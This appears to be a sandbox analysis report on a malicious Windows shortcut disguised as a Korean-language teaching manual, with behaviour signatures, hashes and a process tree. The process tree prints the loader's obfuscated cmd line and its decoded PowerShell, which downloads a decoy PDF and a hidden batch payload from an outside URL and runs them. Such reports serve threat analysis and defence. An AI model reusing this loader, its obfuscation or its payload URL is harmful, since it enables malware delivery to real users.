Overview

overview

10

Static

static

1

23반(일�...��.lnk

windows10-2004-x64

10

23반(일�...��.lnk

windows11-ltsc_2024-x64

10

23반(일�...��.lnk

windows10-2004-x64

10

23반(일�...��.lnk

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    298s
  • max time network
    114s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/09/2026, 05:57

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    23반(일요일 10시)_외국어로서의한국어교육실습 학습자 매뉴얼.lnk
  • Size 40.5MB
  • Sample260930-gnk29ssdkc
  • SHA256 77ce096c1a302e425132b9f4f5a23284e12c2b853d1ddbc0e96d9fc2165322be
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
discoveryexecution

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://posco.or.kr/cheditor/attach/board_file/boardquery.php

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Executes dropped EXE 2 IoCs
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • cURL User-Agent 2 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\23반(일요일 10시)_외국어로서의한국어교육실습 학습자 매뉴얼.lnk"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:1348
    • C:\Windows\syswow64\cmd.exe
      "C:\Windows\syswow64\cmd.exe" /k "Set a529744=ZEnFG3ISb5gOoNpiaml9kdPwfhYerWy4ARQK8jMu6Dt0sc1Bq72LTXvCx && call %a529744:~14,1%%a529744:~12,1%%a529744:~23,1%%a529744:~27,1%%a529744:~28,1%%a529744:~44,1%%a529744:~25,1%%a529744:~27,1%%a529744:~18,1%%a529744:~18,1% -%a529744:~27,1%%a529744:~56,1%%a529744:~27,1%%a529744:~45,1%%a529744:~39,1%%a529744:~42,1%%a529744:~15,1%%a529744:~12,1%%a529744:~2,1%%a529744:~14,1%%a529744:~12,1%%a529744:~18,1%%a529744:~15,1%%a529744:~45,1%%a529744:~30,1% %a529744:~8,1%%a529744:~30,1%%a529744:~14,1%%a529744:~16,1%%a529744:~44,1%%a529744:~44,1% -%a529744:~45,1%%a529744:~12,1%%a529744:~17,1%%a529744:~17,1%%a529744:~16,1%%a529744:~2,1%%a529744:~21,1% ""$%a529744:~1,1%%a529744:~10,1%%a529744:~8,1%%a529744:~1,1%%a529744:~4,1%%a529744:~35,1%%a529744:~12,1%%a529744:~39,1%%a529744:~6,1%%a529744:~29,1%%a529744:~11,1%=$%a529744:~27,1%%a529744:~2,1%%a529744:~54,1%:%a529744:~52,1%%a529744:~1,1%%a529744:~38,1%%a529744:~22,1%+'Nnc4iei.exe';$%a529744:~30,1%%a529744:~6,1%%a529744:~20,1%%a529744:~10,1%%a529744:~53,1%='%a529744:~55,1%:\%a529744:~29,1%%a529744:~15,1%%a529744:~2,1%%a529744:~21,1%%a529744:~12,1%%a529744:~23,1%%a529744:~44,1%\%a529744:~7,1%%a529744:~30,1%%a529744:~44,1%%a529744:~42,1%%a529744:~27,1%%a529744:~17,1%%a529744:~5,1%%a529744:~50,1%\%a529744:~45,1%%a529744:~39,1%%a529744:~28,1%%a529744:~18,1%.%a529744:~27,1%%a529744:~56,1%%a529744:~27,1%';%a529744:~55,1%%a529744:~12,1%%a529744:~14,1%%a529744:~30,1%-%a529744:~6,1%%a529744:~42,1%%a529744:~27,1%%a529744:~17,1% -%a529744:~22,1%%a529744:~16,1%%a529744:~42,1%%a529744:~25,1% $%a529744:~30,1%%a529744:~6,1%%a529744:~20,1%%a529744:~10,1%%a529744:~53,1% -%a529744:~41,1%%a529744:~27,1%%a529744:~44,1%%a529744:~42,1%%a529744:~15,1%%a529744:~2,1%%a529744:~16,1%%a529744:~42,1%%a529744:~15,1%%a529744:~12,1%%a529744:~2,1% $%a529744:~1,1%%a529744:~10,1%%a529744:~8,1%%a529744:~1,1%%a529744:~4,1%%a529744:~35,1%%a529744:~12,1%%a529744:~39,1%%a529744:~6,1%%a529744:~29,1%%a529744:~11,1% -%a529744:~3,1%%a529744:~12,1%%a529744:~28,1%%a529744:~45,1%%a529744:~27,1%;$%a529744:~17,1%%a529744:~2,1%%a529744:~42,1%%a529744:~26,1%%a529744:~47,1%%a529744:~38,1%%a529744:~45,1%%a529744:~34,1%%a529744:~37,1%='http://posco.or.kr/cheditor/attach/board_file/boardquery.php';$%a529744:~52,1%%a529744:~15,1%%a529744:~2,1%%a529744:~28,1%%a529744:~33,1%%a529744:~23,1%%a529744:~25,1%%a529744:~30,1%%a529744:~49,1%=@(@{%a529744:~44,1%='Gg0tqkwICcATJLvvjn5to';%a529744:~20,1%='cwAq3TSuhSXsK9ZNMCJqqhz5heJC3ZAMNAI';%a529744:~21,1%='\23반(일요일 10시)_외국어로서의한국어교육실습 학습자 매뉴얼.pdf';%a529744:~23,1%=$%a529744:~42,1%%a529744:~28,1%%a529744:~39,1%%a529744:~27,1%},@{%a529744:~44,1%='eKHrH2g8pHm8eq53F';%a529744:~20,1%='mHvaLExXbzBGFXD2EjxMx5d2CC5X6lPk';%a529744:~21,1%='\oeOPVRl8.bat';%a529744:~23,1%=$%a529744:~24,1%%a529744:~16,1%%a529744:~18,1%%a529744:~44,1%%a529744:~27,1%});%a529744:~24,1%%a529744:~12,1%%a529744:~28,1%%a529744:~27,1%%a529744:~16,1%%a529744:~45,1%%a529744:~25,1%($%a529744:~32,1%%a529744:~13,1%%a529744:~5,1%%a529744:~56,1%%a529744:~25,1%%a529744:~53,1%%a529744:~10,1% %a529744:~15,1%%a529744:~2,1% $%a529744:~52,1%%a529744:~15,1%%a529744:~2,1%%a529744:~28,1%%a529744:~33,1%%a529744:~23,1%%a529744:~25,1%%a529744:~30,1%%a529744:~49,1%){$%a529744:~37,1%%a529744:~1,1%%a529744:~24,1%%a529744:~15,1%%a529744:~10,1%%a529744:~44,1%%a529744:~6,1%%a529744:~35,1%%a529744:~25,1%%a529744:~0,1%=$%a529744:~17,1%%a529744:~2,1%%a529744:~42,1%%a529744:~26,1%%a529744:~47,1%%a529744:~38,1%%a529744:~45,1%%a529744:~34,1%%a529744:~37,1%+'?%a529744:~48,1%%a529744:~39,1%%a529744:~27,1%%a529744:~28,1%%a529744:~30,1%='+$($%a529744:~32,1%%a529744:~13,1%%a529744:~5,1%%a529744:~56,1%%a529744:~25,1%%a529744:~53,1%%a529744:~10,1%.%a529744:~44,1%)+[%a529744:~45,1%%a529744:~25,1%%a529744:~16,1%%a529744:~28,1%]%a529744:~5,1%%a529744:~36,1%+'%a529744:~2,1%%a529744:~39,1%%a529744:~17,1%%a529744:~8,1%%a529744:~27,1%%a529744:~28,1%='+$($%a529744:~32,1%%a529744:~13,1%%a529744:~5,1%%a529744:~56,1%%a529744:~25,1%%a529744:~53,1%%a529744:~10,1%.%a529744:~20,1%);$%a529744:~54,1%%a529744:~46,1%%a529744:~48,1%%a529744:~1,1%%a529744:~19,1%%a529744:~26,1%%a529744:~30,1%%a529744:~50,1%%a529744:~34,1%='\"'+$%a529744:~27,1%%a529744:~2,1%%a529744:~54,1%:%a529744:~42,1%%a529744:~27,1%%a529744:~17,1%%a529744:~14,1%+$($%a529744:~32,1%%a529744:~13,1%%a529744:~5,1%%a529744:~56,1%%a529744:~25,1%%a529744:~53,1%%a529744:~10,1%.%a529744:~21,1%)+'\"';%a529744:~7,1%%a529744:~42,1%%a529744:~16,1%%a529744:~28,1%%a529744:~42,1%-%a529744:~22,1%%a529744:~28,1%%a529744:~12,1%%a529744:~45,1%%a529744:~27,1%%a529744:~44,1%%a529744:~44,1% -%a529744:~3,1%%a529744:~15,1%%a529744:~18,1%%a529744:~27,1%%a529744:~22,1%%a529744:~16,1%%a529744:~42,1%%a529744:~25,1% $%a529744:~1,1%%a529744:~10,1%%a529744:~8,1%%a529744:~1,1%%a529744:~4,1%%a529744:~35,1%%a529744:~12,1%%a529744:~39,1%%a529744:~6,1%%a529744:~29,1%%a529744:~11,1% -%a529744:~32,1%%a529744:~28,1%%a529744:~10,1%%a529744:~39,1%%a529744:~17,1%%a529744:~27,1%%a529744:~2,1%%a529744:~42,1%%a529744:~51,1%%a529744:~15,1%%a529744:~44,1%%a529744:~42,1% $%a529744:~37,1%%a529744:~1,1%%a529744:~24,1%%a529744:~15,1%%a529744:~10,1%%a529744:~44,1%%a529744:~6,1%%a529744:~35,1%%a529744:~25,1%%a529744:~0,1%,'-%a529744:~12,1%',$%a529744:~54,1%%a529744:~46,1%%a529744:~48,1%%a529744:~1,1%%a529744:~19,1%%a529744:~26,1%%a529744:~30,1%%a529744:~50,1%%a529744:~34,1% -%a529744:~29,1%%a529744:~16,1%%a529744:~15,1%%a529744:~42,1% -%a529744:~13,1%%a529744:~12,1%%a529744:~13,1%%a529744:~27,1%%a529744:~23,1%%a529744:~29,1%%a529744:~15,1%%a529744:~2,1%%a529744:~21,1%%a529744:~12,1%%a529744:~23,1%;%a529744:~15,1%%a529744:~24,1%($%a529744:~32,1%%a529744:~13,1%%a529744:~5,1%%a529744:~56,1%%a529744:~25,1%%a529744:~53,1%%a529744:~10,1%.%a529744:~23,1%){%a529744:~7,1%%a529744:~42,1%%a529744:~16,1%%a529744:~28,1%%a529744:~42,1%-%a529744:~22,1%%a529744:~28,1%%a529744:~12,1%%a529744:~45,1%%a529744:~27,1%%a529744:~44,1%%a529744:~44,1% $%a529744:~54,1%%a529744:~46,1%%a529744:~48,1%%a529744:~1,1%%a529744:~19,1%%a529744:~26,1%%a529744:~30,1%%a529744:~50,1%%a529744:~34,1%;}%a529744:~27,1%%a529744:~18,1%%a529744:~44,1%%a529744:~27,1%{%a529744:~7,1%%a529744:~42,1%%a529744:~16,1%%a529744:~28,1%%a529744:~42,1%-%a529744:~22,1%%a529744:~28,1%%a529744:~12,1%%a529744:~45,1%%a529744:~27,1%%a529744:~44,1%%a529744:~44,1% $%a529744:~54,1%%a529744:~46,1%%a529744:~48,1%%a529744:~1,1%%a529744:~19,1%%a529744:~26,1%%a529744:~30,1%%a529744:~50,1%%a529744:~34,1% -%a529744:~29,1%%a529744:~15,1%%a529744:~2,1%%a529744:~21,1%%a529744:~12,1%%a529744:~23,1%%a529744:~7,1%%a529744:~42,1%%a529744:~30,1%%a529744:~18,1%%a529744:~27,1% %a529744:~25,1%%a529744:~15,1%%a529744:~21,1%%a529744:~21,1%%a529744:~27,1%%a529744:~2,1%}};"" && exit"
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:820
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -executionpolicy bypass -command ""$EgbEGKouIWO=$env:TEMP+'Nnc4iei.exe';$yIkgX='C:\Windows\System32\curl.exe';Copy-Item -Path $yIkgX -Destination $EgbEGKouIWO -Force;$mntYBMcQj='http://posco.or.kr/cheditor/attach/board_file/boardquery.php';$TinrRwhy7=@(@{s='Gg0tqkwICcATJLvvjn5to';k='cwAq3TSuhSXsK9ZNMCJqqhz5heJC3ZAMNAI';d='\23반(일요일 10시)_외국어로서의한국어교육실습 학습자 매뉴얼.pdf';w=$true},@{s='eKHrH2g8pHm8eq53F';k='mHvaLExXbzBGFXD2EjxMx5d2CC5X6lPk';d='\oeOPVRl8.bat';w=$false});foreach($AN3xhXg in $TinrRwhy7){$jEfigsIKhZ=$mntYBMcQj+'?query='+$($AN3xhXg.s)+[char]38+'number='+$($AN3xhXg.k);$v1qE9Yy2Q='\"'+$env:temp+$($AN3xhXg.d)+'\"';Start-Process -FilePath $EgbEGKouIWO -ArgumentList $jEfigsIKhZ,'-o',$v1qE9Yy2Q -Wait -NoNewWindow;if($AN3xhXg.w){Start-Process $v1qE9Yy2Q;}else{Start-Process $v1qE9Yy2Q -WindowStyle hidden}};""
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Enumerates connected drives
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1824
        • C:\Users\Admin\AppData\Local\TempNnc4iei.exe
          "C:\Users\Admin\AppData\Local\TempNnc4iei.exe" http://posco.or.kr/cheditor/attach/board_file/boardquery.php?query=Gg0tqkwICcATJLvvjn5to&number=cwAq3TSuhSXsK9ZNMCJqqhz5heJC3ZAMNAI -o "C:\Users\Admin\AppData\Local\Temp\23반(일요일 10시)_외국어로서의한국어교육실습 학습자 매뉴얼.pdf"
          4⤵
          • Executes dropped EXE
          • Reads the TCP/IP host and domain name from the registry
          • System Location Discovery: System Language Discovery
          PID:4716
        • C:\Users\Admin\AppData\Local\TempNnc4iei.exe
          "C:\Users\Admin\AppData\Local\TempNnc4iei.exe" http://posco.or.kr/cheditor/attach/board_file/boardquery.php?query=eKHrH2g8pHm8eq53F&number=mHvaLExXbzBGFXD2EjxMx5d2CC5X6lPk -o "C:\Users\Admin\AppData\Local\Temp\oeOPVRl8.bat"
          4⤵
          • Executes dropped EXE
          • Reads the TCP/IP host and domain name from the registry
          • System Location Discovery: System Language Discovery
          PID:432

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        TempNnc4iei.exe
        • Path C:\Users\Admin\AppData\Local\TempNnc4iei.exe
        • Size 571KB
        • SHA256 ddff95ecba7e4622e2306d63d8d06e4e35c615075d6a5761d81f0562e28821dd
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        memory/1824-5-0x00000000059D0000-0x00000000059F2000-memory.dmp
        Download

        memory/1824-13-0x0000000007750000-0x00000000077E6000-memory.dmp
        Download

        memory/1824-3-0x0000000005A80000-0x00000000060CA000-memory.dmp
        Download

        memory/1824-12-0x00000000067E0000-0x000000000682C000-memory.dmp
        Download

        memory/1824-0-0x0000000074E12000-0x0000000074E13000-memory.dmp
        Download

        memory/1824-7-0x0000000006230000-0x0000000006296000-memory.dmp
        Download

        memory/1824-6-0x00000000061C0000-0x0000000006226000-memory.dmp
        Download

        memory/1824-10-0x00000000062A0000-0x00000000065FB000-memory.dmp
        Download

        memory/1824-2-0x0000000074E00000-0x00000000755BC000-memory.dmp
        Download

        memory/1824-11-0x0000000006790000-0x00000000067AE000-memory.dmp
        Download

        memory/1824-4-0x0000000074E00000-0x00000000755BC000-memory.dmp
        Download

        memory/1824-14-0x0000000006D20000-0x0000000006D3A000-memory.dmp
        Download

        memory/1824-15-0x0000000006D70000-0x0000000006D92000-memory.dmp
        Download

        memory/1824-16-0x0000000007DB0000-0x000000000836A000-memory.dmp
        Download

        memory/1824-1-0x0000000002F60000-0x0000000002F96000-memory.dmp
        Download

        memory/1824-18-0x0000000074E12000-0x0000000074E13000-memory.dmp
        Download

        memory/1824-19-0x0000000074E00000-0x00000000755BC000-memory.dmp
        Download

        memory/1824-21-0x0000000074E00000-0x00000000755BC000-memory.dmp
        Download

        memory/1824-24-0x0000000074E00000-0x00000000755BC000-memory.dmp
        Download